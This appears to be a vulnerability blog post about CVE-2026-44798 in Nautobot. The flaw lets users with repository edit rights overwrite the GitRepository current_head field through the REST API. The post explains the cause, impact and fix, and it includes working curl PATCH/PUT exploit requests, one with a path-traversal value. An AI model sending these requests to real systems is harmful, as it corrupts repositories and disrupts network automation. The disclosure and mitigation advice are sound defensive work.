Listen to this Post
CVE-2026-44798 affects Nautobot, a popular Network Source of Truth and Automation Platform, specifically versions prior to 2.4.33 and 3.1.2. The vulnerability arises from an unintended exposure of the `current_head` field in the GitRepository model through the REST API. In normal operation, Nautobot clones Git repositories to synchronize data such as configurations, Jinja2 templates, or custom jobs. Each GitRepository record tracks the branch being used and the `current_head` – a commit hash representing the exact checkout state. This field is meant to be managed internally by Nautobot after fetching the latest commits from the remote repository; it should never be directly writable by users.
However, the REST API endpoint for GitRepository objects allowed authenticated users with `add` or `change` permissions to set the `current_head` field arbitrarily via PUT or PATCH requests. This oversight means an attacker – even with limited privileges, such as a user who can create or edit a repository record – can manually specify any string as the commit hash. The backend code then uses this user-supplied value when performing `git checkout` operations on the local clone of the repository.
If the attacker provides a valid but outdated commit hash, Nautobot will switch its working copy to that older commit. This causes the platform to operate on stale or incorrect data, breaking the “Source of Truth” promise. For example, jobs that rely on the latest configuration would execute against an older version, leading to network misconfigurations or inconsistencies. More severely, the attacker can set `current_head` to a non-existent hash, a malformed string, or even path traversal sequences. When Nautobot tries to check out that value, the `git checkout` command fails, leaving the repository in a detached or corrupted state. Subsequent operations – such as pulling updates or running jobs that depend on that repository – will fail entirely. Recovery requires manual intervention (e.g., deleting the local clone and re-creating the repository record).
The attack is straightforward: the attacker only needs network access to Nautobot’s REST API and valid credentials with permissions to modify GitRepository objects. No special bypasses or chaining are required. The root cause is a missing input validation and incorrect model field permissions in the DRF (Django REST Framework) serializer, which should have marked `current_head` as read-only. The fix in versions 2.4.33 and 3.1.2 enforces read-only behavior for this field, ignoring any client-supplied value.
DailyCVE Form:
Platform: Nautobot
Version: Before 2.4.33/3.1.2
Vulnerability: Direct current_head manipulation
Severity: Medium CVSS 5.4
date: May 28 2026
Prediction: Patched in 2.4.33
What Undercode Say:
Analytics showing bash commands and codes related to the blog
Identify vulnerable Nautobot version
curl -s -u user:pass https://nautobot.example.com/api/status/ | jq '.version'
List GitRepository objects to find target
curl -s -u user:pass https://nautobot.example.com/api/extras/git-repositories/ | jq '.[] | {name, current_head, branch}'
Exploit PATCH request to overwrite current_head
curl -X PATCH -u attacker:pass https://nautobot.example.com/api/extras/git-repositories/1/ \
-H "Content-Type: application/json" \
-d '{"current_head": "ffffffffffffffffffffffffffffffffffffffff"}'
Verify corrupted state (checkout fails)
curl -s -u user:pass https://nautobot.example.com/api/extras/git-repositories/1/ | jq '.current_head'
Example of causing total breakage with malformed hash
curl -X PUT -u attacker:pass https://nautobot.example.com/api/extras/git-repositories/2/ \
-d '{"name": "prod-repo", "current_head": "../../../dev/null", "branch": "main"}'
How Exploit:
- Authenticate to Nautobot REST API with a user that has `extras.add_gitrepository` or `extras.change_gitrepository` permission.
- Identify a target GitRepository ID via
GET /api/extras/git-repositories/. - Send a PATCH or PUT request to `/api/extras/git-repositories/
/` with a malicious `current_head` value, e.g., {"current_head": "nonexistent_hash"}. - Trigger any operation that uses the repository (e.g., pulling data, running a job). Nautobot will attempt to `git checkout` the invalid hash, causing failure and potentially breaking the repository.
- Repeat to set outdated valid commits, misleading automation into using old data.
Protection:
- Upgrade to Nautobot 2.4.33 or 3.1.2 immediately.
- If upgrading is not possible, manually restrict API write access to GitRepository objects using custom permissions or network ACLs.
- Audit existing GitRepository records for unexpected `current_head` values; repair by deleting local clones and recreating records.
- Monitor API logs for PATCH/PUT requests targeting `/api/extras/git-repositories/` with unusual `current_head` strings.
Impact:
- Misleading network state – Automation reads old configurations, causing incorrect device provisioning or compliance checks.
- Denial of service – Repository becomes unusable if `current_head` points to a non-existent commit; all dependent jobs fail until manual cleanup.
- Privilege escalation (indirect) – Low-privileged users can disrupt critical automation, effectively bypassing intended separation of duties.
- Recovery cost – Manual intervention required to delete corrupted local clones and re-clone repositories; no automated fix within vulnerable versions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
